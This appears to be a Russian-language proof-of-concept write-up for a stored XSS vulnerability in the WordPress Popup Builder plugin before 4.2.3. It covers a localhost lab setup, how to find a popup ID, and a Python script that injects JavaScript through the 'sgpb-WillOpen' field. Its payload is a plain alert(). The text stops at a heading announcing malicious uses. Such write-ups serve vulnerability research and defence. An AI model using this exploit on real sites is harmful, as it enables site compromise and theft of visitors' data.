
Эта уязвимость демонстрирует недостаток XSS в плагине всплывающих окон для WordPress, позволяющий злоумышленникам внедрять вредоносный JavaScript через stored XSS.
Эта уязвимость позволяет злоумышленнику использовать недостаток Cross-Site Scripting (XSS) в плагине WordPress Popup Builder. Плагин не предотвращает изменение существующих всплывающих окон обычными посетителями, и, отправляя специально созданный запрос на сервер, злоумышленник может внедрить вредоносные скрипты во всплывающее окно, которые будут выполняться при взаимодействии пользователей с этим окном.
В этой POC уязвимость срабатывает при манипуляции поведением открытия всплывающего окна, куда внедряется простой скрипт alert, который будет выполнен при открытии окна. Такой тип атаки может привести к целому ряду проблем, включая несанкционированный доступ к конфиденциальной информации и дальнейшую эксплуатацию взломанного сайта, потенциально ставя под угрозу данные пользователей или весь сайт.
Для этого POC мы можем использовать машину с Windows 10 и скачать XAMPP: https://www.apachefriends.org/download.html
После установки убедитесь, что модули Apache и MySQL включены:

WordPress, как и большинство систем управления контентом, требует базу данных для хранения всех своих важных данных. Создаваемая нами SQL база данных выступает в качестве центрального хранилища для всей этой информации.
Уязвимую версию плагина Popup Builder можно скачать с их основного сайта: https://wordpress.org/plugins/popup-builder/advanced/
Выберите более старую версию, выпущенную до исправления в 4.2.3:

Затем перейдите на страницу администратора WordPress - http://localhost/wordpress/wp-login.php
Плагины -> Добавить новый -> Загрузить плагин -> Выберите скачанный .ZIP файл и установите
В панели администрирования WordPress мы можем создать простую главную страницу: Страницы -> Добавить новую -> Выбрать шаблон.
Для всплывающего окна: Popup Builder -> Добавить новую -> Выберите тип и настройте.
Для этого POC я выбрал всплывающее окно подписки, так как это один из самых распространенных типов всплывающих окон на сайтах сегодня.

На вкладке "Правила отображения" вы можете прикрепить всплывающее окно к вашей главной странице:

Теперь, открыв главную страницу по адресу http://localhost/wordpress/,
мы увидим, что наше всплывающее окно срабатывает.
Чтобы выполнить эксплойт, сначала нужно определить ID всплывающего окна.
Это можно сделать, перейдя на сайт, вызвав всплывающее окно и открыв вкладку "Сеть" в инструментах разработчика.
Найдите запрос admin-ajax.php - ключевой компонент WordPress, используемый для обработки AJAX-запросов.
Popup Builder использует его для управления такими функциями, как сохранение, обновление, предварительный просмотр и управление всплывающими окнами в WordPress.
На вкладке Payload можно найти ID всплывающего окна:

После нахождения ID всплывающего окна можно использовать следующий скрипт для запуска эксплойта:
import requests
# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", #use the Popup ID we found
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" #custom JS code goes here
}
# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)
Поскольку мы можем редактировать всплывающее окно, мы также можем контролировать время срабатывания нашего пользовательского JS. Если перейти на страницу администрирования WordPress, в настройках всплывающего окна можно увидеть опцию "Пользовательский JS или CSS", которая управляет временем выполнения пользовательского кода:

Затем мы можем включить это в наш скрипт в соответствии с нашими потребностями.
После запуска скрипта мы видим, что в панели администрирования WordPress в разделе пользовательского JS нашего всплывающего окна была добавлена новая строка:

Теперь при входе на сайт в качестве обычного пользователя мы видим следующее сообщение:

Мы также можем убедиться, что наше сообщение было сохранено в базе данных SQL (по умолчанию в таблице wp_postmeta), что подтверждает, что это хранимая XSS:

Эта хранимая XSS-уязвимость в плагине Popup Builder позволяет злоумышленнику внедрить вредоносный JavaScript, который будет выполняться каждый раз, когда пользователь взаимодействует с зараженным всплывающим окном. Ниже приведены возможные способы её вредоносного использования: